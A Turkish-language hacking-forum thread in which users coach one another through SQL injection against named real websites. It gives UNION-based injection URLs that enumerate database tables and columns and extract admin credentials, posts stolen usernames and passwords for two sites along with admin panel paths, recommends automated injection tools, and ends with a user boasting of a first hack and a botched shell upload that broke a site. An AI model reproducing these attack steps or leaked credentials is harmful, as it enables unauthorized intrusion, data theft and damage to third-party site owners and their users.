sql injection ile ilgili

[nedeyon]

kusura bakmayın nereye açıcağımı bilemedim.sql ile ilgili sorum var.
http://www.bible-history.com/subcat.php?id=2
bu sitede ' koyuyorum hata veriyor fakat columları alamıyorum.order by 2-- yapıyorum Query failed : Unknown column '2' in 'order clause' hatası alıyorum order by 1-- yapınca site sayfası açılıyor bu 1 tane mi colum var demek anlamadım.union all select 1-- yapıyorum 1
Query failed1: The used SELECT statements have a different number of columns diyor yani column sayısı 1 değil yardıcmı olabilir misiniz?çok minnettar olurum.

 

[TheWayEnd]

Merhaba Havij Programını Kullan

Site Bilgileri Aşağıda Paneli Bul Gir.

Data Found: admin_id=1
Data Found: admin_username=jc
Data Found: admin_password=Mos3s

 

[nedeyon]

Merhaba Havij Programını Kullan

Site Bilgileri Aşağıda Paneli Bul Gir.

Data Found: admin_id=1
Data Found: admin_username=jc
Data Found: admin_password=Mos3s

havjiden admin paneli http://www.bible-history.com/admin1/ diyor ama 401 unauthorized diyor site.şu sql işini bi çözemedim gitti ya sqllemi gircez admin adı ve şifresini.hocam şifreyi falan nasıl buldunuz

 

[TheWayEnd]

Başka sitelere yönel Sql açığı öok olan bir açıktır.Ama Her açık Hacklencek diye bir şey yok

 

[nedeyon]

Başka sitelere yönel Sql açığı öok olan bir açıktır.Ama Her açık Hacklencek diye bir şey yok

peki admin adı ve şifresini nasıl buldunuz

 

[TheWayEnd]

Havij Programını Kullan Rahat Edersin biraz araştır.

 

[nedeyon]

Havij Programını Kullan Rahat Edersin biraz araştır.

yükledim havjiyi de tables gelmiyor sende nasıl geldi ki.

 

[tarxes]

Dostum, sitede 1 tane column var onun uzerinden gideceksin.
http://www.bible-history.com/subcat...schema.tables+where+table_schema=database()--

tablo isimlerini bu sekilde aldiktan sonra orda "administrators" isminde bir tabloyla karsilasacaksin. Bunu bir yere not et. Ardindan,

http://www.bible-history.com/subcat...chema.columns+where+table_schema=database()--

column isimlerini bu sekilde aldiktan sonra orda da gozune "admin_username,admin_password" kisimlari carpacaktir. Onlardanda veriyi su sekilde cekeceksin:
http://www.bible-history.com/subcat...2722f3e,admin_password)+from+administrators--

 

[nedeyon]

Dostum, sitede 1 tane column var onun uzerinden gideceksin.
http://www.bible-history.com/subcat...schema.tables+where+table_schema=database()--

tablo isimlerini bu sekilde aldiktan sonra orda "administrators" isminde bir tabloyla karsilasacaksin. Bunu bir yere not et. Ardindan,

http://www.bible-history.com/subcat...chema.columns+where+table_schema=database()--

column isimlerini bu sekilde aldiktan sonra orda da gozune "admin_username,admin_password" kisimlari carpacaktir. Onlardanda veriyi su sekilde cekeceksin:
http://www.bible-history.com/subcat...2722f3e,admin_password)+from+administrators--

oo çok sağol benim çok ekmek yemem lazım

 

[TheWayEnd]

Havij Kullanımını youtubetan izle

 

[tarxes]

Ayrica, havij degil sqlmap kullanirsan daha saglikli sonuclar alirsin

 

[Isko~]

http://www.bible-history.com/admin1/admin.php

 

[nedeyon]

Dostum, sitede 1 tane column var onun uzerinden gideceksin.
http://www.bible-history.com/subcat...schema.tables+where+table_schema=database()--

tablo isimlerini bu sekilde aldiktan sonra orda "administrators" isminde bir tabloyla karsilasacaksin. Bunu bir yere not et. Ardindan,

http://www.bible-history.com/subcat...chema.columns+where+table_schema=database()--

column isimlerini bu sekilde aldiktan sonra orda da gozune "admin_username,admin_password" kisimlari carpacaktir. Onlardanda veriyi su sekilde cekeceksin:
http://www.bible-history.com/subcat...2722f3e,admin_password)+from+administrators--

bu siteyide yapabilirmisin? http://www.hebron.com/english/gallery.php?id=170'

 

[tarxes]

hocam 0x3c6272202f3e3c62722f3e nerden çıktı açıklayabilirmisin?

<br /><br/> karakterinin hexlenmis hali

 

[nedeyon]

http://www.bible-history.com/admin1/admin.php

ad ve kullanıcı giriyorum jc Mos3s ama açmıyor neden acaba?admin panelini hangi programla buldun bu arada?

 

[nedeyon]

clarisses84:MTJibFqA
http://www.clarisses-montfavet.eu/admin.html
ilk hackimi yaptım hayırlı olsun index falan atamadım shell atmaya çalıştım batırdım siteyi
http://www.clarisses-montfavet.eu/page-base.php?page=8